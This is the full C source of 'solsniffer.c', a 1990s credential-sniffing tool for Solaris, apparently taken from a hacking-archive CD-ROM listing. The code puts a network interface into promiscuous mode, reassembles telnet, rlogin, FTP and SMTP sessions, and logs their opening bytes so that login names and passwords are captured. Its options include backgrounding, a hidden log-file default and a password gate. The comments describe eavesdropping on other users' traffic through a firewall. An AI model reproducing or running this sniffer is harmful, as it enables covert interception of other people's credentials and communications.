home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / c_scripts / solsniff.c < prev    next >
C/C++ Source or Header  |  1998-03-25  |  20KB  |  836 lines

  1. /* solsniffer.c - v1.10 - Michael R. Widner (atreus, J.Galt)
  2.  *
  3.  * This is sunsniffer.c modified to run on dlpi systems, notably
  4.  * solaris 2.x.  The additions are rather verbose, but I'm really
  5.  * too damn lazy to bother cleaning it up.
  6.  
  7.  * 4/26/94 - initial code.  Had some serious hacks in the bufmod stuff.
  8.  * 4/28/94 - v 1.0 fixed up the bufmod stuff a little, but still wrong.
  9.  * 8/11/94 - v 1.1 ok, bufmod fixed.  No more packet dropping.
  10.  *           Also fixed/added some command line options.
  11.  *           -sflt to filter smtp, ftp, login and telnet respectively.
  12.  *           -d x  to set data limit; good for catching mail and stuff
  13.  *            going through firewalls.  Like luser on my subnet does
  14.  *            telnet firewall.myorg.com, then from there does
  15.  *            telnet someplace.outside.mynet
  16.  *
  17.  * Uploaded by: an112467@anon.penet.fi
  18.  */
  19.  
  20. #include    <sys/stream.h>
  21. #include    <sys/dlpi.h>
  22. #include    <sys/bufmod.h>
  23.  
  24. #include <stdio.h>
  25. #include <ctype.h>
  26. #include <string.h>
  27.  
  28. #include <sys/time.h>
  29. #include <sys/file.h>
  30. #include <sys/stropts.h>
  31. #include <sys/signal.h>
  32. #include <sys/types.h>
  33. #include <sys/socket.h>
  34. #include <sys/ioctl.h>
  35.  
  36. #include <net/if.h>
  37. #include <net/if_arp.h>
  38.  
  39. #include <netinet/in.h>
  40. #include <netinet/if_ether.h>
  41. #include <netinet/in_systm.h>
  42. #include <netinet/ip.h>
  43. #include <netinet/udp.h>
  44. #include <netinet/ip_var.h>
  45. #include <netinet/udp_var.h>
  46. #include <netinet/in_systm.h>
  47. #include <netinet/tcp.h>
  48. #include <netinet/ip_icmp.h>
  49.  
  50. #include <netdb.h>
  51. #include <arpa/inet.h>
  52.  
  53. /* #define        MAXDLBUF    8192  /* this is much too low -mrw */
  54. #define        MAXDLBUF    32768 /* This is much bigger than any packet */
  55. #define        MAXWAIT        15
  56. #define        MAXDLADDR    1024
  57.  
  58. /* workaround for bcopy, etc. */
  59. #define bcopy(s1, s2, len) memcpy(s2, s1, len)
  60. #define index(s, c) strchr(s, c)
  61. #define rindex(s, c) strrchr(s, c)
  62. #define bzero(s, len) memset(s, 0, len)
  63. #define bcmp(s1, s2, len) (memcmp(s1, s2, len)!=0)
  64. /*
  65.  * externs go here
  66.  */
  67. extern    void    sigalrm();
  68. #define ERR stderr
  69.  
  70. char    *malloc();
  71. char    *device,
  72.         *ProgName,
  73.         *LogName;
  74. FILE    *LOG;
  75. int     debug=0;
  76. long    databuf[MAXDLBUF];
  77.  
  78. #define NIT_DEV     "/dev/le"
  79. #define CHUNKSIZE   4096        /* device buffer size */
  80. int     if_fd = -1;
  81. int     Packet[CHUNKSIZE+32];
  82.  
  83. /* More ugly global stuff. */
  84. int    promisc = 1;    /* promiscuous mode "on" by default */
  85. int    bufmod = 0;        /* push buffer module, "off" by default */
  86. int    filter_flags=0;    /* connections we'd like to fileter */
  87. #define FILT_TELNET  1
  88. #define FILT_FTP     2
  89. #define FILT_LOGIN   4
  90. #define FILT_SMTP    8
  91. int    maxbuflen=128;    /* Define a new DATA LIMIT. Still max at MAXBUFLEN */
  92.  
  93. void Pexit(err,msg)
  94. int err; char *msg;
  95. { perror(msg);
  96.   exit(err); }
  97.  
  98. void Zexit(err,msg)
  99. int err; char *msg;
  100. { fprintf(ERR,msg);
  101.   exit(err); }
  102.  
  103. #define IP          ((struct ip *)Packet)
  104. #define IP_OFFSET   (0x1FFF)
  105. #define SZETH       (sizeof(struct ether_header))
  106. #define IPLEN       (ntohs(ip->ip_len))
  107. #define IPHLEN      (ip->ip_hl)
  108. #define TCPOFF      (tcph->th_off)
  109. #define IPS         (ip->ip_src)
  110. #define IPD         (ip->ip_dst)
  111. #define TCPS        (tcph->th_sport)
  112. #define TCPD        (tcph->th_dport)
  113. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  114.  
  115. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  116.  
  117. /* I cranked this up.  reduce it if you run out of mem. -mrw */ 
  118. #define MAXBUFLEN  (8192)
  119. time_t  LastTIME = 0;
  120.  
  121. struct CREC {
  122.      struct CREC *Next,
  123.                  *Last;
  124.      time_t  Time;              /* start time */
  125.      struct in_addr SRCip,
  126.                     DSTip;
  127.      u_int   SRCport,           /* src/dst ports */
  128.              DSTport;
  129.      u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  130.      u_int   Length;            /* current data length */
  131.      u_int   PKcnt;             /* # pkts */
  132.      u_long  LASTseq;
  133. };
  134.  
  135. struct CREC *CLroot = NULL;
  136.  
  137. char *Symaddr(ip)
  138. struct in_addr ip;
  139. { struct hostent *he =
  140.       gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  141.  
  142.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  143. }
  144.  
  145. char *TCPflags(flgs)
  146. register u_char flgs;
  147. { static char iobuf[8];
  148. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  149.  
  150.   SFL(0,TH_FIN, 'F');
  151.   SFL(1,TH_SYN, 'S');
  152.   SFL(2,TH_RST, 'R');
  153.   SFL(3,TH_PUSH,'P');
  154.   SFL(4,TH_ACK, 'A');
  155.   SFL(5,TH_URG, 'U');
  156.   iobuf[6]=0;
  157.   return(iobuf);
  158. }
  159.  
  160. char *SERVp(port)
  161. register u_int port;
  162. { static char buf[10];
  163.   register char *p;
  164.  
  165.    switch(port) {
  166.      case IPPORT_LOGINSERVER: p="rlogin"; break;
  167.      case IPPORT_TELNET:      p="telnet"; break;
  168.      case IPPORT_SMTP:        p="smtp"; break;
  169.      case IPPORT_FTP:         p="ftp"; break;
  170.      default: sprintf(buf,"%u",port); p=buf; break;
  171.    }
  172.    return(p);
  173. }
  174.  
  175. char *Ptm(t)
  176. register time_t *t;
  177. { register char *p = ctime(t);
  178.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  179.   return(p);
  180. }
  181.  
  182. char *NOWtm()
  183. { time_t tm;
  184.   time(&tm);
  185.   return( Ptm(&tm) );
  186. }
  187.  
  188. #define MAX(a,b) (((a)>(b))?(a):(b))
  189. #define MIN(a,b) (((a)<(b))?(a):(b))
  190.  
  191. /* add an item */
  192. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  193.   register struct CREC *CLtmp = \
  194.         (struct CREC *)malloc(sizeof(struct CREC)); \
  195.   time( &(CLtmp->Time) ); \
  196.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  197.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  198.   CLtmp->SRCport = SPORT; \
  199.   CLtmp->DSTport = DPORT; \
  200.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  201.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  202.   CLtmp->PKcnt = 1; \
  203.   CLtmp->Next = CLroot; \
  204.   CLtmp->Last = NULL; \
  205.   CLroot = CLtmp; \
  206. }
  207.  
  208. struct CREC *GET_NODE(Sip,SP,Dip,DP)
  209. struct in_addr Sip,Dip;
  210. register u_int SP,DP;
  211. { struct CREC *CLr = CLroot;
  212.  
  213.   while(CLr != NULL) {
  214.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  215.         IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  216.             break;
  217.     CLr = CLr->Next;
  218.   }
  219.   return(CLr);
  220. }
  221.              
  222. #define ADDDATA_NODE(CL,DATA,LEN) { \
  223.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  224.  CL->Length += LEN; \
  225. }
  226.  
  227. #define PR_DATA(dp,ln) {    \
  228.   register u_char lastc=0; \
  229.   while(ln-- >0) { \
  230.      if(*dp < 32) {  \
  231.         switch(*dp) { \
  232.             case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
  233.                         break; \
  234.             case '\r': \
  235.             case '\n': fprintf(LOG,"\n     : "); \
  236.                         break; \
  237.             default  : fprintf(LOG,"^%c", (*dp + 64)); \
  238.                         break; \
  239.         } \
  240.      } else { \
  241.         if(isprint(*dp)) fputc(*dp,LOG); \
  242.         else fprintf(LOG,"(%d)",*dp); \
  243.      } \
  244.      lastc = *dp++; \
  245.   } \
  246.   fflush(LOG); \
  247. }
  248.  
  249. void END_NODE(CLe,d,dl,msg)
  250. register struct CREC *CLe;
  251. register u_char *d;
  252. register int dl;
  253. register char *msg;
  254. {
  255.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  256.    fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  257.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  258.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  259.                         NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  260.    fprintf(LOG," DATA: ");
  261.     { register u_int i = CLe->Length;
  262.       register u_char *p = CLe->Data;
  263.       PR_DATA(p,i);
  264.       PR_DATA(d,dl);
  265.     }
  266.  
  267.    fprintf(LOG,"\n-- \n");
  268.    fflush(LOG);
  269.  
  270.    if(CLe->Next != NULL)
  271.     CLe->Next->Last = CLe->Last;
  272.    if(CLe->Last != NULL)
  273.     CLe->Last->Next = CLe->Next;
  274.    else
  275.     CLroot = CLe->Next;
  276.    free(CLe);
  277. }
  278.  
  279. /* 30 mins (x 60 seconds) */
  280. #define IDLE_TIMEOUT 1800
  281. #define IDLE_NODE() { \
  282.   time_t tm; \
  283.   time(&tm); \
  284.   if(LastTIME<tm) { \
  285.      register struct CREC *CLe,*CLt = CLroot; \
  286.      LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
  287.      while(CLe=CLt) { \
  288.        CLt=CLe->Next; \
  289.        if(CLe->Time <tm) \
  290.            END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
  291.      } \
  292.   } \
  293. }
  294.  
  295. void filter(cp, pktlen)
  296. register char *cp;
  297. register u_int pktlen;
  298. {
  299.  register struct ip     *ip;
  300.  register struct tcphdr *tcph;
  301.  
  302.  { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
  303.  
  304.    if(EtherType < 0x600) {
  305.      EtherType = *(u_short *)(cp + SZETH + 6);
  306.      cp+=8; pktlen-=8;
  307.    }
  308.  
  309.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  310.       return;
  311.  }
  312.  
  313.     /* ugh, gotta do an alignment :-( */
  314.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  315.  
  316.  ip = (struct ip *)Packet;
  317.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  318.     return;
  319.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  320.  
  321. if(!( ((TCPD == IPPORT_TELNET) && !(filter_flags & FILT_TELNET)) ||
  322.        ((TCPD == IPPORT_LOGINSERVER) && !(filter_flags & FILT_LOGIN)) ||
  323.        ((TCPD == IPPORT_FTP) && !(filter_flags & FILT_FTP)) ||
  324.        ((TCPD == IPPORT_SMTP) && !(filter_flags & FILT_SMTP))
  325.    )) return;
  326.  
  327.  { register struct CREC *CLm;
  328.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  329.    register u_char *p = (u_char *)Packet;
  330.  
  331.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  332.  
  333.  if(debug) {
  334.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  335.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  336.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  337.  }
  338.  
  339.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  340.  
  341.       CLm->PKcnt++;
  342.  
  343.       if(length>0)
  344.         if( (CLm->Length + length) < maxbuflen ) { /* was MAXBUFLEN */
  345.           ADDDATA_NODE( CLm, p,length);
  346.         } else {
  347.           END_NODE( CLm, p,length, "DATA LIMIT");
  348.         }
  349.  
  350.       if(TCPFL(TH_FIN|TH_RST)) {
  351.           END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  352.       }
  353.  
  354.    } else {
  355.  
  356.       if(TCPFL(TH_SYN)) {
  357.          ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  358.       }
  359.  
  360.    }
  361.  
  362.    IDLE_NODE();
  363.  
  364.  }
  365.  
  366. }
  367.  
  368. /* signal handler
  369.  */
  370. void death()
  371. { register struct CREC *CLe;
  372.  
  373.     while(CLe=CLroot)
  374.         END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  375.  
  376.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  377.     fflush(LOG);
  378.     if(LOG != stdout)
  379.         fclose(LOG);
  380.     exit(1);
  381. }
  382.  
  383. /* opens network interface, performs ioctls and reads from it,
  384.  * passing data to filter function
  385.  */
  386.  
  387.  
  388. err(fmt, a1, a2, a3, a4)
  389. char    *fmt;
  390. char    *a1, *a2, *a3, *a4;
  391. {
  392.     (void) fprintf(stderr, fmt, a1, a2, a3, a4);
  393.     (void) fprintf(stderr, "\n");
  394.     (void) exit(1);
  395. }
  396.  
  397. static void
  398. sigalrm()
  399. {
  400.     (void) err("sigalrm:  TIMEOUT");
  401. }
  402.  
  403. strgetmsg(fd, ctlp, datap, flagsp, caller)
  404. int    fd;
  405. struct    strbuf    *ctlp, *datap;
  406. int    *flagsp;
  407. char    *caller;
  408. {
  409.     int    rc;
  410.     static    char    errmsg[80];
  411.  
  412.     /*
  413.      * Start timer.
  414.      */
  415.     (void) signal(SIGALRM, sigalrm);
  416.     if (alarm(MAXWAIT) < 0) {
  417.         (void) sprintf(errmsg, "%s:  alarm", caller);
  418.         syserr(errmsg);
  419.     }
  420.  
  421.     /*
  422.      * Set flags argument and issue getmsg().
  423.      */
  424.     *flagsp = 0;
  425.     if ((rc = getmsg(fd, ctlp, datap, flagsp)) < 0) {
  426.         (void) sprintf(errmsg, "%s:  getmsg", caller);
  427.         syserr(errmsg);
  428.     }
  429.  
  430.     /*
  431.      * Stop timer.
  432.      */
  433.     if (alarm(0) < 0) {
  434.         (void) sprintf(errmsg, "%s:  alarm", caller);
  435.         syserr(errmsg);
  436.     }
  437.  
  438.     /*
  439.      * Check for MOREDATA and/or MORECTL.
  440.      */
  441.     if ((rc & (MORECTL | MOREDATA)) == (MORECTL | MOREDATA))
  442.         err("%s:  MORECTL|MOREDATA", caller);
  443.     if (rc & MORECTL)
  444.         err("%s:  MORECTL", caller);
  445.     if (rc & MOREDATA)
  446.         err("%s:  MOREDATA", caller);
  447.  
  448.     /*
  449.      * Check for at least sizeof (long) control data portion.
  450.      */
  451.     if (ctlp->len < sizeof (long))
  452.         err("getmsg:  control portion length < sizeof (long):  %d", ctlp->len);
  453. }
  454.  
  455. expecting(prim, dlp)
  456. int    prim;
  457. union    DL_primitives    *dlp;
  458. {
  459.     if (dlp->dl_primitive != (u_long)prim) {
  460.         err("unexpected dlprim error\n");
  461.         exit(1);
  462.     }
  463. }
  464. strioctl(fd, cmd, timout, len, dp)
  465. int    fd;
  466. int    cmd;
  467. int    timout;
  468. int    len;
  469. char    *dp;
  470. {
  471.     struct    strioctl    sioc;
  472.     int    rc;
  473.  
  474.     sioc.ic_cmd = cmd;
  475.     sioc.ic_timout = timout;
  476.     sioc.ic_len = len;
  477.     sioc.ic_dp = dp;
  478.     rc = ioctl(fd, I_STR, &sioc);
  479.  
  480.     if (rc < 0)
  481.         return (rc);
  482.     else
  483.         return (sioc.ic_len);
  484. }
  485. dlattachreq(fd, ppa)
  486. int    fd;
  487. u_long    ppa;
  488. {
  489.     dl_attach_req_t    attach_req;
  490.     struct    strbuf    ctl;
  491.     int    flags;
  492.  
  493.     attach_req.dl_primitive = DL_ATTACH_REQ;
  494.     attach_req.dl_ppa = ppa;
  495.  
  496.     ctl.maxlen = 0;
  497.     ctl.len = sizeof (attach_req);
  498.     ctl.buf = (char *) &attach_req;
  499.  
  500.     flags = 0;
  501.  
  502.     if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0)
  503.         syserr("dlattachreq:  putmsg");
  504. }
  505.  
  506. dlokack(fd, bufp)
  507. int    fd;
  508. char    *bufp;
  509. {
  510.     union    DL_primitives    *dlp;
  511.     struct    strbuf    ctl;
  512.     int    flags;
  513.  
  514.     ctl.maxlen = MAXDLBUF;
  515.     ctl.len = 0;
  516.     ctl.buf = bufp;
  517.  
  518.     strgetmsg(fd, &ctl, (struct strbuf*)NULL, &flags, "dlokack");
  519.  
  520.     dlp = (union DL_primitives *) ctl.buf;
  521.  
  522.     expecting(DL_OK_ACK, dlp);
  523.  
  524.     if (ctl.len < sizeof (dl_ok_ack_t))
  525.         err("dlokack:  response ctl.len too short:  %d", ctl.len);
  526.  
  527.     if (flags != RS_HIPRI)
  528.         err("dlokack:  DL_OK_ACK was not M_PCPROTO");
  529.  
  530.     if (ctl.len < sizeof (dl_ok_ack_t))
  531.         err("dlokack:  short response ctl.len:  %d", ctl.len);
  532. }
  533.  
  534.  
  535. dlbindreq(fd, sap, max_conind, service_mode, conn_mgmt, xidtest)
  536. int    fd;
  537. u_long    sap;
  538. u_long    max_conind;
  539. u_long    service_mode;
  540. u_long    conn_mgmt;
  541. u_long    xidtest;
  542. {
  543.     dl_bind_req_t    bind_req;
  544.     struct    strbuf    ctl;
  545.     int    flags;
  546.  
  547.     bind_req.dl_primitive = DL_BIND_REQ;
  548.     bind_req.dl_sap = sap;
  549.     bind_req.dl_max_conind = max_conind;
  550.     bind_req.dl_service_mode = service_mode;
  551.     bind_req.dl_conn_mgmt = conn_mgmt;
  552.     bind_req.dl_xidtest_flg = xidtest;
  553.  
  554.     ctl.maxlen = 0;
  555.     ctl.len = sizeof (bind_req);
  556.     ctl.buf = (char *) &bind_req;
  557.  
  558.     flags = 0;
  559.  
  560.     if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0)
  561.         syserr("dlbindreq:  putmsg");
  562. }
  563.  
  564. dlbindack(fd, bufp)
  565. int    fd;
  566. char    *bufp;
  567. {
  568.     union    DL_primitives    *dlp;
  569.     struct    strbuf    ctl;
  570.     int    flags;
  571.  
  572.     ctl.maxlen = MAXDLBUF;
  573.     ctl.len = 0;
  574.     ctl.buf = bufp;
  575.  
  576.     strgetmsg(fd, &ctl, (struct strbuf*)NULL, &flags, "dlbindack");
  577.  
  578.     dlp = (union DL_primitives *) ctl.buf;
  579.  
  580.     expecting(DL_BIND_ACK, dlp);
  581.  
  582.     if (flags != RS_HIPRI)
  583.         err("dlbindack:  DL_OK_ACK was not M_PCPROTO");
  584.  
  585.     if (ctl.len < sizeof (dl_bind_ack_t))
  586.         err("dlbindack:  short response ctl.len:  %d", ctl.len);
  587. }
  588.  
  589. dlpromisconreq(fd, level)
  590. int    fd;
  591. u_long    level;
  592. {
  593.     dl_promiscon_req_t    promiscon_req;
  594.     struct    strbuf    ctl;
  595.     int    flags;
  596.  
  597.     promiscon_req.dl_primitive = DL_PROMISCON_REQ;
  598.     promiscon_req.dl_level = level;
  599.  
  600.     ctl.maxlen = 0;
  601.     ctl.len = sizeof (promiscon_req);
  602.     ctl.buf = (char *) &promiscon_req;
  603.  
  604.     flags = 0;
  605.  
  606.     if (putmsg(fd, &ctl, (struct strbuf*) NULL, flags) < 0)
  607.         syserr("dlpromiscon:  putmsg");
  608.  
  609. }
  610.  
  611. syserr(s)
  612. char    *s;
  613. {
  614.     (void) perror(s);
  615.     exit(1);
  616. }
  617.  
  618.  
  619. do_it()
  620. {
  621.     long    buf[MAXDLBUF];
  622.     char    *device;
  623.     int    ppa;
  624.     int    fd;
  625.     int    sap;
  626.     struct    strbuf    data;
  627.     int    flags;
  628.     int    i;
  629.     int    c;
  630.     int    offset;
  631.     int    len;
  632.     struct    timeval    t;
  633.     u_int    chunksize = 16 * 1024;
  634.     struct    sb_hdr    *bp;
  635.     char    *p, *limp;
  636.  
  637.     int mrwtmp; /* temporary debugging crap */
  638.  
  639.     device = "/dev/le";
  640.     ppa = 0;
  641.     sap= 0x800;
  642.  
  643.     /*
  644.      * Open the device.
  645.      */
  646.     if ((fd = open(device, 2)) < 0)
  647.         syserr(device);
  648.  
  649.     /*
  650.      * Attach.
  651.      */
  652.     dlattachreq(fd, ppa);
  653.     dlokack(fd, buf);
  654.  
  655.     /*
  656.      * Optionally enable promiscuous mode.
  657.      */
  658.     if (promisc) {
  659.         dlpromisconreq(fd, DL_PROMISC_PHYS);
  660.         dlokack(fd, buf);
  661.     }
  662.  
  663.     /*
  664.      * Bind.
  665.      */
  666.     dlbindreq(fd, sap, 0, DL_CLDLS, 0, 0);
  667.     dlbindack(fd, buf);
  668.  
  669.     /*
  670.      * Issue DLIOCRAW ioctl.
  671.      */
  672.     if (strioctl(fd, DLIOCRAW, -1, 0, NULL) < 0)
  673.         syserr("DLIOCRAW");
  674.  
  675.     /*
  676.      * Push and configure buffer module.
  677.      */
  678.     if (bufmod) {
  679.         if (ioctl(fd, I_PUSH, "bufmod") < 0)
  680.             syserr("push bufmod");
  681.  
  682.         t.tv_sec = 0;
  683.         t.tv_usec = 500000;    /* 0.5s */
  684.         if (strioctl(fd, SBIOCSTIME, -1, sizeof (struct timeval),
  685.             &t) < 0)
  686.             syserr("SBIOCSTIME");
  687.         if (strioctl(fd, SBIOCSCHUNK, -1, sizeof (u_int),
  688.             &chunksize) < 0)
  689.             syserr("SBIOCSCHUNK");
  690.     }
  691.  
  692.     /*
  693.      * Flush the read side of the Stream.
  694.      */
  695.     if (ioctl(fd, I_FLUSH, FLUSHR) < 0)
  696.         syserr("I_FLUSH");
  697.  
  698.     /*
  699.      * Read packets.
  700.      */
  701.  
  702.     data.buf = (char *) databuf;
  703.     data.maxlen = MAXDLBUF;
  704.     data.len = 0;
  705.  
  706.     /* Here's the deal:  I had some problems with the bufmod code, but
  707.        I think it's working now.  I don't know a whole lot about the
  708.        whole DLPI interface, so I can't be sure there aren't any
  709.        oversights here.  It seems to be working now, but I have not had
  710.        the time to do extensive testing.
  711.        I know for certain that packets will be dropped on a busy network
  712.        if I don't use bufmod.  That problem should not occur when using
  713.        bufmod, but like I said, I may have overlooked something. */
  714.  
  715.     while (((mrwtmp=getmsg(fd, NULL, &data, &flags))==0) ||
  716.          (mrwtmp==MOREDATA) || (mrwtmp=MORECTL)) {
  717.         p = data.buf;
  718.         limp = p + data.len;
  719.  
  720.     /* This is the ugliest piece of commented out crap that I've ever
  721.        done.  Ignore it.  Someday it will go away. */
  722.     /*    if (data.len && bufmod) {
  723.             for (; p < limp; p += bp->sbh_totlen) {
  724.                 bp = (struct sb_hdr*) p; 
  725.                 /* Display hex data if we want * /
  726.                  for (i = 0; i < bp->sbh_msglen; i++)
  727.                     printf("%02x ", *(p +
  728.                         sizeof (struct sb_hdr) + i)
  729.                         & 0xff);
  730.                 printf("\n"); 
  731.                 filter(p, bp->sbh_msglen);
  732.             } 
  733.         } else if (data.len) { */
  734.             filter(data.buf, data.len); 
  735.         /*    }  else if */
  736.         data.len = 0;
  737.     } /* while */
  738.     printf("finished getmsg() = %i\n",mrwtmp);
  739. }
  740.  
  741.  
  742. /* Authorization, if you'd like it. */
  743. #define AUTHPASSWD "c6Lqd3Dvn2l3s" 
  744.  
  745. void getauth()
  746. { char *buf,*getpass(),*crypt();
  747.   char pwd[21],prmpt[81];
  748.  
  749.     strcpy(pwd,AUTHPASSWD);
  750.     sprintf(prmpt,"(%s)UP? ",ProgName);
  751.     buf=getpass(prmpt);
  752.     if(strcmp(pwd,crypt(buf,pwd)))
  753.         exit(1);
  754. }
  755.      
  756. void main(argc, argv)
  757. int argc;
  758. char **argv;
  759. {
  760.     char   cbuf[BUFSIZ];
  761.     struct ifconf ifc;
  762.     int    s,
  763.            ac=1,
  764.            backg=0;
  765.  
  766.     ProgName=argv[0];
  767.  
  768. /*    getauth(); */
  769. /* I put this here for a reason, but now I'm commenting it out. */
  770. /*    if(!(LOG=fopen((LogName=".tfile"),"a")))
  771.          Zexit(1,"Output file cant be opened\n"); */
  772.  
  773. /* Its still called NIT_DEV, even if it's no longer /dev/nit */
  774.     device=NIT_DEV; 
  775.     while((ac<argc) && (argv[ac][0] == '-')) {
  776.        register char ch = argv[ac++][1];
  777.        switch(toupper(ch)) {
  778.             case 'I': device=argv[ac++];
  779.                       break;
  780.             case 'O': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
  781.                          Zexit(1,"Output file cant be opened\n");
  782.                       break;
  783.             case 'B': backg=1;
  784.                       break;
  785.             case 'S': filter_flags|=FILT_SMTP;
  786.               fprintf(ERR,"filtering out smtp connections.\n");
  787.                       break;
  788.             case 'T': filter_flags|=FILT_TELNET;
  789.               fprintf(ERR,"filtering out telnet connections.\n");
  790.                       break;
  791.             case 'L': filter_flags|=FILT_LOGIN;
  792.               fprintf(ERR,"filtering out rsh/rlogin connections.\n");
  793.                       break;
  794.             case 'F': filter_flags|=FILT_FTP;
  795.               fprintf(ERR,"filtering out ftp connections.\n");
  796.                       break; 
  797.             case 'D': maxbuflen=atoi(argv[ac++]);
  798.               if (maxbuflen > MAXBUFLEN) maxbuflen=MAXBUFLEN;
  799.                       break;
  800.             default : fprintf(ERR,
  801.                         "Usage: %s [-d x] [-s] [-f] [-l] [-t] [-i interface] [-o file]\n",
  802.                             ProgName);
  803.         fprintf(ERR,"    -d int    set new data limit (128 default)\n");
  804.         fprintf(ERR,"    -s        filter out smtp connections\n");
  805.         fprintf(ERR,"    -f        filter out ftp connections\n");
  806.         fprintf(ERR,"    -l        filter out rlogin/rsh connections\n");
  807.         fprintf(ERR,"    -t        filter out telnet connections\n");
  808.         fprintf(ERR,"    -o <file> output to <file>\n");
  809.                       exit(1);
  810.        }
  811.     }
  812.  
  813.     fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  814.     fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
  815.             (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
  816.  
  817.     if(!LOG)
  818.         LOG=stdout;
  819.  
  820.     signal(SIGINT, death);
  821.     signal(SIGTERM,death);
  822.     signal(SIGKILL,death);
  823.     signal(SIGQUIT,death);
  824.  
  825.     if(backg && debug) {
  826.          fprintf(ERR,"[Cannot bg with debug on]\n");
  827.          backg=0;
  828.     }
  829.  
  830.     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  831.     fflush(LOG);
  832.  
  833.     do_it();
  834. }
  835.  
  836.